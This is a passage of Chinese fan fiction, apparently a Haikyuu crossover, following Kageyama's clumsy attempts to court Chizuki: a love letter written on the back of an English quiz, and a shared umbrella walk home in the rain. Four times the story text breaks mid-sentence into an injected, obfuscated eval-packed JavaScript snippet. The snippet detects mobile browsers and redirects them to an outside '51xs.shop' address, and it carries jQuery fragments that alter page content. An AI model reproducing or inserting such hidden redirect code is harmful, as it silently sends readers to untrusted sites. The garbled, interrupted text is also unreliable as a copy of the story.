我放下手里一团乱麻的数学题,发了个“OK”的表情包,下一秒及川学长的好友申请就传了过来。 验证消息:呀吼,小千树~ ……我好像能听见声音。 在我通过好友申请之后,及川学长发了个笑脸,然后传来一张图片。 配文:小飞雄在及川大人面前抬不起头~ 我:…… 现在把靠谱俩字收回来还来得及吗? 【及川学长】:话说小千树 【及川学长】:小飞雄之前突然让我教他怎么追女孩子 【及川学长】:小千树知道是谁吗? 哎? 本来手机都被我收起来了,看见这几条消息,我又忍不住翻开仔细看了看,确认及川学长发来的名字确实是影山君无疑。 及川学长应该不会认识第二个小飞雄了吧? 但是“影山君”和“追女生”这两个词感觉一个天一个地,我这辈子都想不到有朝一日这两个词还能联系到一起,以至于现在这两个词放在我眼前,让我觉得怎么看怎么滑稽。 影山君这个一心一意打排球的笨蛋,居然还会分心思去学习怎么追求喜欢的女孩子? 可是最近影山君几乎全在排球部待着,没有听说和哪个女生走得近啊! 还是说在合宿的时候,喜欢上了哪个学姐吗? 那怎么不和我说? 【李千树】:可是及川学长不是被女朋友甩了吗?影山君这样的事问及川学长没问题吗? 【及川学长】:? 【及川学长】:谁说的?小飞雄那家伙说的是吧! 【及川学长】:不对,我没被甩! 及川学长开始长篇大论地和我解释,他是如何受女孩子欢迎以及根本不可能被甩,他和奈奈子只是吵了一个无关紧要的架根本没有分手之类的云云,我安心地把消息模式改成免打扰,然后接着做题。 这道题有点难,刚才做了半个多小时都一直在走死胡同。我给题目拍了张照,发给了月岛君。这些日子他经常和我主动探讨各种题目的解法,并且对这个类型的题很擅长。我们也算是组成了一个学习小组,时不时就交流一下竞赛题的解法。 我把图上的铅笔痕迹擦掉,重新做了一条辅助线,心里却还是被八卦勾得痒痒,又鬼使神差地掏出手机,给月岛君发了一条消息。 【李千树】:你有没有听说影山君有喜欢的女生? 月岛君回了我一串省略号,然后表示自己不清楚。 我遗憾地按灭手机,继续做题。 确实呢,影山君就算有喜欢的人也不可能会告诉月岛君吧。 等半个小时以后,我终于做出那道题的答案,被我关进小黑屋的及川学长已经给我发了几十条消息,并且发现我都不回复之后,对我发出了严厉的指控。 我随意安抚了一下,手机又跳出来一条消息。 【影山飞雄君】:千树在家吗? 我看了一眼这条有点眼熟的消息,思考了一瞬,起身拉开窗帘,影山君果然站在楼下,正一脸认真地拿着手机发消息。 “影山君!”我对着窗外招了招手。 影山君立刻抬头,看向我的窗口,也冲着我招了招手。 我关上窗户,随便拿了一件外套往外走,路过门口的穿衣镜时,我看了一眼镜子,又从兜里掏出一只发夹,把有点凌乱的碎发夹了起来。 影山君又提了一杯奶茶站在楼下,看见我往外跑,还提醒了一句:“慢一点。” 奶茶和上次给我带来的味道不一样,但是还是一样好喝。我看了看奶茶,疑惑地问:“怎么又给我带奶茶了?” “正好路过。”他把吸管撕开,“啵”的一声插进奶茶杯,递给我。 “和及川学长聊得怎么样呀?”我一边咬着珍珠,一边问。 “还不错,回来的时候碰上了教练,有想法了,只是需要练习和实践。” “那就没问题了,影山君肯定能做到的。”我搅了搅吸管,看着里面的珍珠和冰块在里面“哗啦哗啦”地响,漫不经心道。 “那个……”他又犹犹豫豫地开口,“及川学长……没和你说什么奇怪的事情吧?” 奇怪的事情? 影山君和他学习怎么追女孩子算吗? 我看了一眼屏息的影山君,又把视线落回眼前的奶茶上,按捺住了自己八卦的心思:“没有哦。” “那就好。”影山君松了口气。 他应该刚从外面一路走回来,还穿着学校的那件衬衫,脸上都是汗,昨日给他贴的创可贴被汗浸得卷了边,松松垮垮地挂在脸上。 “怎么不换创可贴啊?”我看着他的脸皱了皱眉,“这么热的天,伤口很容易感染的。” “啊,没、没事。”影山君结结巴巴地说。 我看了一眼家门口,我回来得早是因为排球馆检修,我们暂停社团活动,但是表哥还没有回来,上次表哥有强调过,不要在他不在的时候单独让男生回家。 我让影山君在门口等一等,自己进屋拿了一卷创可贴。 他个子太高,我必须要站在台阶上才能和他平视。影山君有些慌乱地避开眼神,任由我轻轻把创可贴的敷料给抚平。 我把剩下的创可贴塞进他手里:“伤口好多了,但是自己也要记得换。” 就算我是影山君的好朋友,站在朋友的视角帮影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187135|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山君说话,也不得不说,除了排球之外,影山君为数不多的优点就只剩下脸了,如果因为没有好好保养伤口而破了相,追女生不就更困难了吗? 越想越觉得替影山君感到心焦,我紧紧皱着眉,将表情迷茫的影山君上下打量了一遍,试图从他身上再找出其它能够吸引女孩子的点来。 班里仰慕影山君的人也不是没有,但是就算是我自己,当初也是被影山君优越的外貌给吸引了啊! 结果就是我捏着下巴思考半天,愣是没想出影山君弯道取胜的办法。 “怎、怎么了?”我给他贴完创可贴就陷入了沉默,沉默实在太久,以至于影山君都慌乱起来,有些不安地问我。 “影山君,”我沉痛地说,“要好好保护自己的脸啊!” 影山迷茫地点了点头,我想了想不放心,又回房间拿了一个小盒子:“这是擦了以后可以防止留疤的药膏,影山君自己记得每天都要擦。” 他有些愣愣地接过,看了看手里的小白盒,又看了看我,脸莫名其妙红了起来:“千、千树很在意我的脸吗?” 我沉重地点了点头。 毕竟除了脸,能吸引女生的就不多了啊,影山君! 天色不早了,表哥给我发了消息,说一会儿就回家。我问影山君要不要进屋等一会儿,晚上一起吃饭,他连忙摇了摇头,然后同手同脚地走了。 看来上次表哥给他留下的心理阴影有点重,以至于他对表哥闻风丧胆。 我叹了口气,关上了门。 ------ 及川彻虽然被李千树刻意晾了一个下午,但毕竟一口气抓住了影山飞雄两个弱点,不但知道他没有办法完美地回应小不点,还知道了他喜欢的女生到底是谁。 所以总体而言,及川彻的心情还算不错。 不过就他目前打探下来的情况,小千树还对小飞雄的心意一无所知。想来也是,小千树那样的女生身边肯定不乏追求者,小飞雄除了一张还算看得过去的脸蛋和排球技术,拿什么和别人比呢? 何况听小飞雄的意思,乌野的那个高个眼镜仔,和小千树的关系可要好多了! 小飞雄比他想得还没用呢! 及川彻哼着小曲,迫不及待地给岩泉一分享了自己今天遇见影山的事情,又心情愉悦地给奈奈子发了消息,看见和之前如出一辙的红色感叹号,点开软件订了一束花。 拿着花再去找奈奈子哄一哄吧。 手机弹出消息,是他今天大发慈悲从黑名单里放出来的影山飞雄。 及川彻因为心情好,带着几分看笑话的心态,又打开了他发来的消息。 【超级讨厌的后辈】:及川学长,千树说她很在意我的脸 【超级讨厌的后辈】:及川学长,千树这么说是什么意思? 【超级讨厌的后辈】:及川学长,千树是不是有一点点喜欢我? 【超级讨厌的后辈】:及川学长,我该怎么办啊? “您确定要将联系人【超级讨厌的后辈】加入黑名单吗?” 及川:是。 42.情书*3 影山打了个哈欠,趴在学校的课桌上。 书包里粉色封皮的书露出一角,影山余光瞥见,又从书包里把那本书翻了出来,翻到自己昨日看的那页。 书是影山昨日从姐姐美羽的书架上翻出来的,美羽的意思是弟弟恋爱的苦要自己吃,她没有时间手把手教导他该如何讨女孩子欢心。 美羽还说,如果按照别人的方法一板一眼地去追求,那就带了“酱气”,显得不真诚,是不会打动女生的。 影山没想明白“酱气”到底是什么味道,但是他原本看书上觉得如获至宝,可被美羽这么一说,他捏着书的手又有点犹豫了。 如果按照书上的指示做,千树会觉得他有“酱气”吗? “期末考试五班的李千树又是年级第一,拉了第二名十几分,太牛了……” 影山身边的同学又叽叽喳喳地聊了起来。 影山是鲜少去看荣誉榜的——他不太在乎成绩,自己又是吊车尾,荣誉榜这个东西对他来说不如《月刊排球》有意义。 有人扭扭捏捏地走到他身边,又将一封粉红色的信封往他手里塞,小声地问他:“影山同学,能不能帮我把这封信带给千树同学?” 影山捡起那封信,看了一眼:“这是什么?” “哎呀……情书嘛……”男生被他问得脸一下就红了。 影山眨了眨眼,把信封推了回去:“不行。” “上次影山说过了,李千树不让影山帮忙递情书了,你是不是忘了?”边上同学好心提醒他。 影山反驳道:“虽然千树是说过,但是这次是我自己不想送。” “哦、哦……”男生磕磕巴巴地应了一声,想了半天小声地问,“影、影山同学,是喜欢千树同学吗?” “是啊。”影山不假思索地答道。 之前明明不是这么说的!男生连忙道歉,急急地转了身,背影透出一点落荒而逃的意味。 谁知他刚转身,影山就一把抓上了他的胳膊。 身为乌野排球部的正牌二传,影山的手劲可不是闹着玩的,男生只觉得自己胳膊一痛,低头看去,被影山捏着的地方都泛着白。 他后背一僵,影山性格有些差,班里很少有人主动找他搭话,因为他总是一副凶巴巴的样子。这次要不是实在找影山有事,他也不想这么直白地来找影山的。 他也不知道影山喜欢千树同学啊,他要知道他怎么可能来触这个霉头! “对不——” “那个——” 两道声音同时响起,影山与那男生俱是一愣,影山想礼貌地等他先说完,男生却连连道歉,让影山先说。 影山没想明白为什么他一副有点害怕的样子,但也没有怎么多想,开口问道:“你们为什么都给千树送情书?” 是有人规定了表白必须要送情书吗? “啊?”这一句给男生问愣了,半天才找回自己的声音道,“因、因为……也没有为什么,追女孩子就是要送情书啊,不然女生怎么知道你喜欢她?” 影山眼睛一瞬间瞪大了。 千树现在根本不知道他喜欢她,那不管他做什么,千树都不会往恋爱的方向想。就像之前千树没有给他递情书,所以千树对他再好,他都没有想过是因为千树喜欢他! 好险,差点忘掉这么重要的事情! 还好他想到了,这下他比月岛快了吧?月岛肯定还没给千树送过情书! 不过情书是不是也不能写得太直白?不然被千树一下子给拒绝了怎么办? 影山纠结起来,目光落在男生战战兢兢捏着的粉色信封上。 “那、那个,还有事吗?”男生被影山盯得浑身发毛。 “你的情书,能借我看看吗?”影山问道。 男生:“哦……啊?” ------ “仁花,影山君找你什么事?”我拿起便当,看着回来之后明显魂游天外的仁花,忍不住问道。 “没、没事啦……”仁花连忙摆手,生硬地把话题给转开,将刚才看戏的千代拉进群聊,“千、千代最近的恋爱进度怎么样了?” 骤然被问及恋爱的千代险些把脑袋磕课桌上,半天才结结巴巴地道:“准……准备表白……” “哎?!”这回我和仁花都震惊了,这一声叫得千代脑袋更忍不住往下藏:“别叫别叫!” “已经准备好了吗?”我把千代捂着我嘴巴的手扒拉下来。 “嗯……”千代脸红得能滴血,黏黏糊糊地小声说,“算是吧……” “情书已经写好了吗?”仁花也问。 “嗯,准备放学就去……” 我和仁花拍了拍千代的肩膀:“加油!” 中午影山君约我一起吃中饭,刚才听八卦耽搁了一会儿,他已经在门口等着了。仁花看了看我,有些欲言又止的模样,最终还是只冲我摆了摆手。 今天的便当是莓玲表姐做的,仁花吃不到确实有点可惜呢。 我看着她忧心忡忡的表情,开口安慰:“莓玲表姐暑假都在这边,你可以之后来我家玩。” 仁花:“……哈哈,好。” 不吃便当的学生可以去食堂,吃便当的学生则有不少会去天台上。但如今天气一天比一天热了,天台上太晒,又往往挤着浓情蜜意的小情侣,我便不爱往天台去。 我拉着影山绕到教学楼后面,这里有一处少人的树荫,有点微风的时候便很凉爽,学生也少,我有些时候甚至吃完了会躺在这里眯一会儿再回教室。 “怎么突然叫我一起吃便当?”我一边拆着便当盒一边问。 “千树介意吗?”影山君立刻紧张起来。 “那倒没有,只是有些好奇。”我笑着打开便当盒。 莓玲表姐已经放假了,刚刚到日本,这几日也住在家里。一来她便风风火火地自告奋勇要帮我和表哥做便当,还嘱咐表哥要记得告诉小樱姐她来了,把便当也给小樱姐分一份。 她虽然西餐烘焙不算拿手,但是中餐做得那是一绝。打开便当盒香味就飘了出来,而且是色香味俱全,相比之下,影山君带的两个饭团就显得太过寒碜。 他平日里会多带几个饭团充饥我是知道的,他和日向君都总是容易饿,中午再吃中饭就吃不饱,所以每次都会多带几个饭团,课间的时候也会吃,可我没想到中饭的时候也只有两个饭团。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201046|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你就吃这个?”我皱起眉头。 “我、我问过教练的,平时吃饭还是很仔细的。”影山君连忙道,“但是这两天没去买菜……” “影山君平时在家都自己做饭吃吗?” 他点了点头。 我撑着脑袋想了一会儿,发现居然想象不出来影山买菜做饭的画面。他见我迷惑,也吞吞吐吐地吐露实情:“其实大多时候也很随便,按照教练说的有蔬菜有蛋白质就行……” 我把菜夹了一些出来,放在便当盒的盖子上,递给影山君:“一起吃吧,表姐给我的时候就说她多做了一点,让我到学校分给大家吃。” “谢谢……”影山愣了一瞬,不好意思地接过。 我笑眯眯地说:“没事,你吃完多夸一夸她就行。” “很好吃,你表姐很厉害。”影山君顺从地给出评价。 “有机会来我们家玩,我表姐人可好了。”我笑了笑,端起饭盒吃了起来。 只是影山君今天这顿饭吃得好像有点心不在焉,等我都吃完了他居然还没吃完饭团,手上捏着剩下半个饭团发呆。我疑惑地在他面前摆了摆手:“还不吃吗?一会儿午休要结束了。” 影山君猛地回神,看了我一眼,突然结巴了起来:“千、千树,那个……” 像是斟酌了半天,也没能从词汇库里调出合适的词语,影山君干脆把眼一闭,从兜里掏出了一张纸递到我面前。 这是什么? 影山君眼神都不敢和我接触,一直紧紧盯着自己手里剩下的半个饭团,我疑惑地接过那张纸,等看清楚上面的字之后,无奈地沉默了。 “影山君,”许久之后我才开口,“你是故意来气我的吗?” 他猛地抬头,拼命和我挥手:“不是的,不是的,千树你不要生气……” “那你告诉我,”我无奈地摇了摇手上的英语答题卷,“为什么这么简单的过去式的题,你还能错!” ------ 影山迷茫地蹲在千树身边,看着她一个空一个空讲完了那张英语小测卷,之后语重心长地和他说:“影山君,虽然你有问题积极来找我这件事值得表扬,但是这么简单的题不能再错了,我们已经讲了无数遍了。” 影山点点头,看着那张纸背面自己写的歪歪扭扭的情书,心如死灰。 他借了那个男生的情书来看的时候,男生提醒他写情书要用一张漂亮一点的纸,就算不漂亮,至少也要干净。 他在桌洞里找了半天,桌洞里的纸不是皱巴巴的就是有了污渍,好容易找到一张干净整洁无折痕的纸,他也没有多想,就开始琢磨自己的情书到底应该怎么落笔。 他甚至考虑到自己可能会写得磕磕巴巴,在草稿纸上写了两遍才誊了上去! 不是,那么干净的纸,怎么会是英语小测卷啊! “千树!”谷地仁花从拐角探出头,“该回教室啦!” “就来!”千树点点头,开始收拾东西。 谷地仁花趁机走到影山身边,犹豫许久,还是鼓起勇气问:“影、影山同学,怎、怎么样了?” 影山:“学会一般过去时了。” 谷地:? 43.下雨 仁花是今天才被拉上这条贼船的。 她本来只是快乐地从影山同学的班级前走过,听见有人叫自己的名字回了个头,结果她就突然被不知道从哪里窜出来的影山同学给抓住了。 凶神恶煞的影山同学人高马大,面对着她脸色阴沉,仁花吓得六神无主,连遗书该用什么纸张都想好了。 结果凶神恶煞的影山同学红着脸问她,能不能给千树递情书。 泼天大瓜砸到仁花头上,把仁花砸得晕晕的。好在影山同学有耐心,一直等到她回神也没有催她。 其实仁花作为千树的好朋友,理应站在千树这边,先回去问千树的意思才对。 但是她在影山同学的“威压”下,说不太出来拒绝的话,再加上她隐隐约约地觉得,千树之前喜欢影山飞雄,好像不止是因为影山同学长得像漫画男主角。 又或者说,即便只是因为影山同学长得像漫画男主角,千树到现在,似乎也还是在意着影山同学的。 所以稀里糊涂的,仁花帮着影山出谋划策了一番。 她原本以为今天可以追到影山和千树这个故事的大结局,结果影山同学告诉她今天这条线临时开启了if线,没打到结局。 回到教室的千树就立刻打开习题本开始做题了,她的竞赛好像很紧张,最近都抓紧一切时间在做题,时不时地还会和仁花一起讨论题目的不同解法。 仁花看着全神贯注的千树,还是把“千树到底喜不喜欢影山同学”这个问题给咽了下去。 影山那张英语小测卷破天荒地拿了高分,小野老师很高兴,影山却一点也高兴不起来。 借他情书参考的男生蠢蠢欲动,来旁敲侧击地问了好几次他表白成功没有,影山也不知道自己算是成功了还是没成功,因为严格意义上来说,他根本没有表白。 千树最近总和月岛那家伙在一起,两个人讨论着影山根本听不懂的题,影山连插嘴都插不进去,只能在一边生闷气。 关于如何追求千树这个问题,影山分别向姐姐、及川学长、冴子姐、路人同学以及恋爱攻略书等多个主体请教,但是如果把他的恋爱进度比作排球比赛,全国冠军是和千树成功在一起的话,那么他大概还在县预选的第一场。 千树不但不知道他喜欢她,他也不知道千树到底为什么之前喜欢他,现在又为什么不喜欢他了。 对啊,这是为什么? 一定是因为他有什么缺点,等他改掉那个缺点了,千树不就又会喜欢他了? 无懈可击地逻辑。影山从桌洞里掏出手机,开始给谷地仁花发消息。 谷地是认真上课的学生,所以影山等到快放学才收到谷地的回信。 只是有没有人能给他翻译一下,什么叫之前千树喜欢他是因为他长得很像恋爱漫画的男主角? 这是千树在意他脸的原因吗? 影山捏着手机沉思良久,对面的谷地同学不知道是不是察觉了他的消沉,发消息安慰他: 【一年五班谷地仁花】:往好处想,至少千树喜欢的不是长得像月岛同学的那个漫画男主。 影山左思右想,最后郑重地在输入框询问: 【影山飞雄】:谷地同学,千树喜欢的漫画叫什么名字? 他在搜索框输入谷地发来的漫画名,就着网上的评论大致看了一下剧情的梗概。 男女主在一起时,是一个雨天。女主因为没有带伞,被雨困在了学校,男主和她撑一把伞回家,在气氛的烘托中,告白定情。 窗外忽然响起雷声,影山转头看向窗外,虽然中午吃饭的时候还算是艳阳高照,不过夏日的天气本就多变。 天气像是就要遂人所愿,就这么淅淅沥沥地、突如其来地下起雨来。 ------ “对啦小千代,这本漫画还给你。”我把之前千代借我的漫画书还给她,并附赠了一包小饼干,“谢谢,很好看。” “是吧!”千代眼睛一亮,“男女主分手的时候我都哭惨了,好在他们最后还是重归于好了!” 她们自然还没忘记这个漫画男主长得像月岛君这件事,连捏着手机不知道在发什么消息的仁花都悄悄竖起了耳朵,听千代问我:“所以,你觉得这个男主怎么样?” “确实很帅啦!”我点点头又摇摇头,“但确实不是我推的类型。” 千代摇摇头:“可惜……” 上课、整理笔记、排球部训练……忙碌的一天终于结束,下午突然开始落的雨居然到此时愈发大了起来。 我伸了个懒腰,背起包走到体育馆门口,和早就等在那里的影山君打了个招呼:“走吧,回家!” 今天因为天气太差,我严厉禁止了月岛君和我们一起走的提议,路太远了,不安全。 影山不知道为何和月岛得意洋洋地眉飞色舞一番,从书包里拿出雨伞:“走吧,千……” 他说到一半,忽然没了声音,愣在原地。 我把手上雨伞粘在一起的伞面给抖开,疑惑地问:“怎么了?” 影山君像是被打击到了,脸上不知道是迷茫还是沮丧:“千树……怎么有伞……” “天气预报有说今天会下雨啊,影山君没看天气预报吗?”我把伞撑开,问道。 影山:“……没有。” “那影山君还蛮幸运的,虽然没看天气预报,但是也带伞了,不会被突如其来的雨给拦住回不了家。”我撑着伞迈入雨中。 “……是和同学借的……” “那也很不错呀,虽然没有带伞,但是能和同学借到多余的伞,不也很幸运吗?”我笑了笑,安慰道,“不过没关系啦,如果影山君真的没有伞的话,我肯定会和影山君一起撑的。” 影山君看了看我,表情更颓丧了:“我现在把这把伞丢了还来得及吗?” 我:? “可恶啊,这么大的雨,难道只能跑回去了吗!”西谷学长和田中学长站在体育馆门口,把书包顶在头上,眼看就要朝着漫天雨幕冲出去,却被缘下学长揪着领子拉了回来。 “不行,这么大的雨,你们两个笨蛋肯定会感冒。”缘下学长道。 “阿力胡说!我们才不是笨蛋呢!再说了,笨蛋是不会感冒的!”西谷学长叉腰反驳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211265|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 缘下学长顺从地接受了这个逻辑:“对,你们俩不是笨蛋,所以你们俩肯定会感冒。” 田中学长:“不对,嘶,哪里不对……” 我掏出手机又确认了一下天气预报:“这场雨据说会下到半夜,可能等不到雨停了。” 缘下学长显得有些一筹莫展,站在我身边的影山却突然一振,三两步跑到田中学长和西谷学长面前:“学长,请用我的伞吧!” “哎?那你……”西谷学长愣愣地接过伞。 影山指向我,大声道:“我可以和千树撑一把伞!” 众人的目光随即都灼灼地集中在我身上,我迟疑地点了点头:“确实是这样……” 但不知为何总觉得哪里怪怪的。 “可是雨这么大,你们两人撑一把伞,也还是会淋到的吧……”田中学长有些犹豫。 “没事的,我这把伞还挺大的。” 最终西谷学长拿了影山给的那把伞,他家更远一些,缘下学长和田中学长共撑一段,绕一绕送田中学长回家。 谁知这时候洁子学姐走了出来,看了眼众人,掏出一把伞给田中学长:“我还有一把伞。” 田中西谷:?! 我还在惊叹两人为这一把伞到底该如何使出浑身解数的时候,影山君在身后扯了扯我的袖子,眼睛看着外面的雨幕,居然脸上满满写着期待:“不走吗?” 他好像有些迫不及待了。 是因为今天回去有什么事吗? 他个子太高,要让他也进到伞下,我就不得不把伞举得高一些,影山君顺手就把伞接过,和我一起走到雨里。 接着,他把那把伞狠狠向我这边一偏,原本足够遮住我们两人的大伞落到了我的身侧,雨水从我们头顶落了下来。 “影山君,”我忍不住开口,“虽然理解你是为了让我能更多打到伞所以举偏了,但是像你这样撑伞,我们谁都撑不到的。” 影山君连忙把伞扶正,和我道歉,慌张地在兜里掏纸巾和手帕想给我擦雨水,但是却两口袋空空。我叹了口气,将包里的纸巾抽出来,给了他一张后,自己也抽了一张擦起来。 他再不敢把伞向我这边偏,生怕一个没收住劲,我们俩又在雨里冲凉。好在那把伞确实足够大,即便我们两人合撑,也只有肩膀的一小块会淋湿。 影山君和我并肩走着,过了一会儿,我突然感到自己的左肩落上了什么东西,偏头一看,是影山君的手。 他看见我扭头,手又像受惊的猫一般松开,结结巴巴地和我解释,说他绝不是故意的,让我不要生气。 “我没有生气,只是影山君为什么突然这样?”我有些不解地询问,脸也有些发红。 他默了一瞬,手重新搭上我的左肩,将我往他那边环了一环,两人的距离一下子拉近,刚刚被雨水濡湿的校服都贴在了一起。那把伞刚好罩住我们二人,刚刚被雨水打湿的左肩也缩进了雨伞的保护区,隔着校服衬衫贴上影山君温热的手掌。 影山君的身体有些僵硬,语气也不自然起来:“这样,你的肩膀就不会淋湿了。” 44.心跳 这样的感觉很奇妙,刚被雨水打湿的左肩原本泛着凉意,却被影山君温热的手掌包裹。他的掌心烫得吓人,明明因为礼貌只是虚虚扶住,并没有紧紧贴着,热源却仍然源源不断地从左肩向我的心脏输送着。 瓢泼的雨点顺着雨伞的边缘落下来,形成一道模糊却界限分明的雨幕,落在地上炸起一个个水花。明明街上还有这么多人,三三两两地撑着伞,但雨幕相隔后,伞下却只有我们。 若是一人撑一把伞,并肩而行的人就不能挨得太近,否则雨伞相撞,雨幕倾斜,身上多少会落到伞上垂落的雨点。就连说话也要微微提高声音,免得心意湮灭在漫天大雨里。 可若是两人撑一把伞,就只是咫尺之间、呼吸相闻,耳边全是彼此的心跳声。 我从未觉得一把伞下是这样私密的空间。影山君的下巴离我的脸只有咫尺之距,好像我一仰头就会亲到他的下巴尖。我双手局促地抓着书包的背带,注意力却全在身后几乎要靠在影山身上的那一部分。 太近了。 “会不舒服吗?” 他的声音听起来很紧张。 “还好。” 我也没有好到哪里去。 右耳几乎贴着少年的左胸膛,在薄薄一层布料与结实的肌肉下,就是他温热而有力的心脏。 “咚咚、咚咚、咚咚……” 逐渐加速的心跳声,是他的吗? 还是我的呢? 怀揣着这样的疑问和胡思乱想,我和影山君终于到了家。虽然伞足够装下我们两人,但这场突如其来的大雨还是太大了些。 尤其是影山君,一路上他还是把伞微微向我这边偏了些,右半身子让水浇了个透明,刘海也让雨水打湿,贴在额头上,看我的时候,就有一种乖巧又无辜的错觉。 与他相比,我就要强多了,除了被地上的雨水溅到的小腿肚之外,连先前被雨浇到的左肩都已经因为影山君手掌的温度而只是有一点湿润。身上虽然算不得干爽,但至少也不狼狈。 影山君将我送到门廊上,把伞收了递给我,也不敢看我的眼睛,朝我胡乱地一点头就要向雨里跑去。 我连忙把他拉回来:“你干嘛去?” “回、回家啊。”影山君结结巴巴地说道。 “这么大的雨,你连伞都不拿就冒着雨跑回家?”我几乎笑了起来。 “那我也、也没伞啊。”影山迷茫地看向我。 我被他的眼神蛰了一下,避开了视线交错,打开门拉了拉他的书包:“雨太大了,先进来擦一擦吧。” “没关系的。”他小声嘟囔。 “要感冒的。”我无奈地笑笑,“马上就要去东京合宿了,可不能生病。” “不会感冒的。”他说得信誓旦旦,眼神却还是四下里乱瞟。 “笨蛋才不会感冒呢,影山君是笨蛋吗?”我把缘下学长的理论拿出来又问了一遍。 影山君皱起眉头,像是有些落寞又有些失望地问我:“千树觉得我是笨蛋吗?” 平日里总是硬邦邦的声音今日也被雨水泡软了,配上影山湿漉漉的眼神,可怜兮兮的。 我猛地扭过头,打开门道:“影山君不是笨蛋,所以是会感冒的,快进来吧。” 今天下雨,足球部没有训练,所以表哥早早就回家了。表姐也在家,两人都在厨房里,转头看是我进来,都松了一口气:“给你发消息问要不要去接你,你也没回,还以为出了什么事,正要给你打电话。” “嗯……路上没看见消息。”我糊弄地应了一声,“那个,影山君和我回来的时候全淋湿了,可以让他进来擦擦吗?” 表哥和表姐这才发现我后面还跟了一个湿淋淋的男生,一动不动地站在我身后,低眉顺眼的,像是一只被淋湿了的大狗,注意到两人的视线才一个激灵,瞬间站得笔直,接着就把自己对折成一部折叠手机:“你们好!” 莓玲姐招呼他进门,我从鞋柜里翻出给客人穿的拖鞋递给他,他却捏了捏书包的背带:“我身上太湿了,还是不要进去了吧。” 小狼表哥皱着眉似乎想说什么,莓玲表姐就抢先说道:“没事,进来擦擦身子,要是感冒可就不好了。” 影山君只好进了屋子。 我上楼拿了新的毛巾,还跟小狼表哥借了他的衣服,让影山君先去冲个澡,把身上湿淋淋的衣服换掉。好在表哥和影山君个子身材都差不多,他的衣服影山君也能穿。 “那千树呢?”他捏着衣服问我。 我指了指楼梯:“不要紧,楼上还有一间。” 他这才应了声,和身后表情臭屁的表哥与笑眯眯的表姐又行了礼:“打扰了。” 我趁机上楼跑回房间,也不顾还有些湿润的发丝,一头钻进被子里,满脑子都是刚才加速的心跳声和影山君湿漉漉的眼神。 明明已经不喜欢影山君了,为什么脸还会这么烫? ------ 影山一直到了浴室,才意识到自己要在千树家洗澡这件事。 一瞬间,周围的一切对他而言都陌生了起来。 洗漱台边放着三只牙杯,其中一只上面有个可爱的小兔子,露着两只大牙,憨憨地冲着影山笑。 千树的。 侧边的毛巾架上有一条米白色的毛巾,右下角绣了一只可爱的小猫,冲着影山发送了一个wink。 千树的。 影山像是无意闯入了什么小动物的领地,每样东西上都或多或少存在着千树的痕迹。洗手台上遗落的头绳和发卡,柜子上贴着的动物贴纸,精心整理清洁过的挂帘,还有…… 他僵硬地扭过头,看见摆在墙边架子上的沐浴露和洗发露,粉色的瓶子与蓝黑的瓶子交错放在架子上,其中粉色的瓶子上印了一个红红的荔枝。影山不用费什么劲就可以区分出来,两个粉色的瓶子分别是千树常用的洗发露和沐浴露,而蓝黑的是他表哥的。 影山原本伸手去拿那个蓝色的瓶子,回过神时,粉色的瓶子却已经到手里了。 鬼使神差的,影山低头闻了闻。 是荔枝味的。 这间房子楼上楼下一共有两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221498|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间浴室,这两天莓玲来了,千树就在楼上楼下都将洗漱用品配备了一遍,方便三人随时洗漱。 那个名叫影山飞雄的一打开门,李小狼就闻到了一股浓郁的荔枝甜香。那个黑发蓝瞳的少年还沾着湿润的水汽,荔枝的香味就像是在他身边吹出了一个又一个粉色泡泡,挤挤挨挨地绕了他一圈,与他十分格格不入。 李小狼深吸一口气,把头上要暴起的青筋压了下去。 他就知道的,他第一眼看影山就觉得不爽。 李莓玲笑嘻嘻地给影山递吹风机,他顶着翘起的发丝又给李莓玲行了个大礼。 “晚饭在我们家吃吧,要不要打个电话和家里说一声?”李莓玲打量着影山问。 “不用麻烦了!”影山慌忙拒绝,半晌又补充了一句,“家里没人……” “那就省得打电话了,在沙发那儿坐一会儿吧,晚饭很快就好。”莓玲一锤定音。 